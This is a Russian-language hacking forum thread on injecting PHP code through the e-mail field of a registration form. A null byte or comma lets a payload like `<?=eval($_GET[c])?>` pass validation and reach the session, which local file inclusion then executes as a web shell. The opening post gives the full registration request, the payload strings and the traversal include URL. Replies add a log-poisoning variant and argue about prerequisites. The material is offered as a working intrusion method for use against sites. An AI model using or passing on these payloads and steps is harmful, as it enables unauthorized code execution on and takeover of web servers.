Инъекция кода в mail() К написанию этой заметки меня подтолкнуло одно из заданий в ROA. Суть сводится к тому, что в первый аргумент mail() (адресат) можно подставить посторонний php-код, при этом не влияя на успешность отправки. Данный способ актуален только для сайтов, где необходимо подтверждение регистрации (то есть необходимо указать верный E-mail и в то же время подставить код). В противном случае задача состоит лишь в обходе фильтрации, что не входит в рамки данной темы. Для получения шелла необходимо: 1. LFI на уязвимом сайте (с возможность инклуда сессий). 2. В сессию записывается E-mail пользователя (имеется во многих самописных движках). 3. Имеется возможность обхода фильтрации вводимого пользователем E-mail'a либо её полное отсутствие. 4. magic_quotes_gpc = off (в случае присутствия фильтрации, для вставки нуллбайта). При соблюдении этих условий для получения шелла необходимо (возможны различные вариации): 1. Подставить php-код в поле E-mail'a при регистрации. 2. Залогиниться. 3. Проинклудить сессию. ---------------------------------------------------------------------------------- Рассмотрим на примере. На сайте site.com имеется LFI с возможностью инклуда сессий: http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID} На страницу выводится нечто подобное: Code: user_login|s:N:"[COLOR=PaleGreen][B]{YOUR_LOGIN}[/B][/COLOR]";user_mail|s:N:"[COLOR=PaleGreen][B]{YOUR_EMAIL}[/B][/COLOR]";user_password|s:32:"[COLOR=PaleGreen][B]{YOUR_HASH}[/B][/COLOR]"; Где {YOUR_LOGIN}, {YOUR_EMAIL}, {YOUR_HASH} - данные текущего пользователя. Вариант с подстановкой php-кода в {YOUR_LOGIN} я рассматривать не буду, так как часто это поле жёстко фильтруется + обрабатывается htmlentities() + ограничено по длине. Рассмотрим вариант с E-mail. Часто в скриптах используется валидация E-mail при помощи бинарно-небезопасной функции ereg_*, поэтому нужно добавить нуллбайт %00 (функция воспримет его как конец строки и прекратит её обработку): Code: [email protected][COLOR=PaleGreen]%00[/COLOR][COLOR=Lime]<?=eval($_GET[c])?>[/COLOR] Поле адресата передаётся Sendmail'у в сыром виде и без валидации (проверял на локалхосте), а Sendmail в свою очередь, воспринимает нуллбайт как конец строки. В случае, если введён рабочий E-mail, на него благополучно придёт сообщение. Примерный запрос регистрации: Code: POST /register.php HTTP/1.1 Host: site.com Content-length: [COLOR=PaleGreen]{DATA_LENGTH}[/COLOR] Content-Type: application/x-www-form-urlencoded Connection: Close form_login=[COLOR=PaleGreen][B]{YOUR_LOGIN}[/B][/COLOR]&pass=[COLOR=PaleGreen][B]{YOUR_PWD}[/B][/COLOR]&form_email=[I][email protected][COLOR=PaleGreen]%00[/COLOR][COLOR=Lime]<?=eval($_GET[c])?>[/COLOR][/I]&submit=Go Скрипт должен вернуть сообщение об успешной регистрации и отослать письмо на [email protected]. После подтверждения регистрации и входа на сайт инклудим сессию: http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}&c=phpinfo(); Шелл получен. ---------------------------------------------------------------------------------- (с) [x26]VOLAND
Код шелла можно указывать через запятую. Code: [email protected][COLOR=PaleGreen],[/COLOR][COLOR=Lime] <?=eval($_GET[c])?>[/COLOR] Тогда sendmail воспримет эту строку как 2 раличных адреса и попытается послать сообщение на оба. В результате почта придёт только на 1й ящик, а вся строка с шеллом сохранится в базе.
Очень много если должно совпасть, бывают такие ситуации что например include path ограничеваеться веб дирикторией, также возможен вариант что имя сессии не всегда sess_{YOUR_SESSION_ID}(возможно что сессия вообше хранится в бд ведь пхп это позволяет - http://ua.php.net/manual/en/function.session-set-save-handler.php).
Пхп всегда разрешает обращение к директории с сессиями. Чтобы узнать её, нужно проинклудить конфиг апача. Но зачастую сессии просто хранятся в /tmp/ ... Такие сайты встречаются редко. У каждого способа есть свои ограничения. Это естественно.
Согласен разрешает, но я про include_path где может быть прописано жестка веб дира и все, возможно это было связано с doc_root, такие мысли насчет инклюдов в файлах сессии ко мне приходили давно но именно на практике при попытке проинклюдить файл сессии вылазила ошибка, хотя fread прекрасно читала файл сессии.
[x26]VOLAND Внимательно перечитал твою тему, сначало подумал что речь пойдет о mail в perl когда еще в 2000 году был баг с произвольным исполнением команд, но крайне удивился когда ты описал еще более древнюю тему, слегка не понял зачем исползывать именно mail() функцию когда речь идет о сессиях вообщем. И вообще в моем понимании если есть локальный инклуд то это 100% шелл, но раз уж речь пошла о сессиях то в них передаеться не только имя пользователя пароль маил но дофига другой инфы, короче говоря мы просто можем отснифать весь трафик и подделать запрос с именем пользователя это как правило не прокатит, а вот например с текущем языком или текущей страницей на которой находиться пользователей то это оч просто... особенно это канает в движках на ajax. [ cash ] (c) Hack-Shop.Org.Ru
ЛОКАЛЬНЫЙ инклуд позволяет просматривать файлы на сервере, в отличии от УДАЛЁННОГО, который позволяет инклудить даные с стороннего сервера.
bug1z, этот чел шарит гораздо лучше тебя. (А судя по твоему ответу, ты пока недостаточно начитан, советую почитать/попрактиковаться).
Не всегда. А если в сессии не записываются нужные значения + не известен путь к логам + отсутствует возможность заливки файлов?
Вот к примеру как можно раздобыть из локального, внешний инклюд. http://target.com/<?PHP eval($_GET['c']) ?> Естественно ничего, тупо ошибка, но эта ошибка запишется в файл. А если инклюдить txt файл, а в нём PHP код, то он выполниться. кароч инклюдиш лог и долже сработать произвольный код.
Ctacok это давно и всем известно и на ачате было уйма статей по этому поводу, фактически [x26]VOLAND описал обычный(вернее это было уже изложенно довольно давно ) инклюд файлов сессии в которые есть возможность записать свой код, и имхо название топа "немного" не точно.
Вообще то я это на античате и узнал Просто если кто то незнает, надо же своими школнеговскеми мозгами блеснуть =\
немного поясню, основная мысль Воланда была не в инклуде сессии, а именно в инъекте в mail(), таким образом, чтобы отправилось письмо на указанный ящик, и записался нужный нам код. Этот способ не обязательно использовать для инклуда, можно придумать еще применение этому.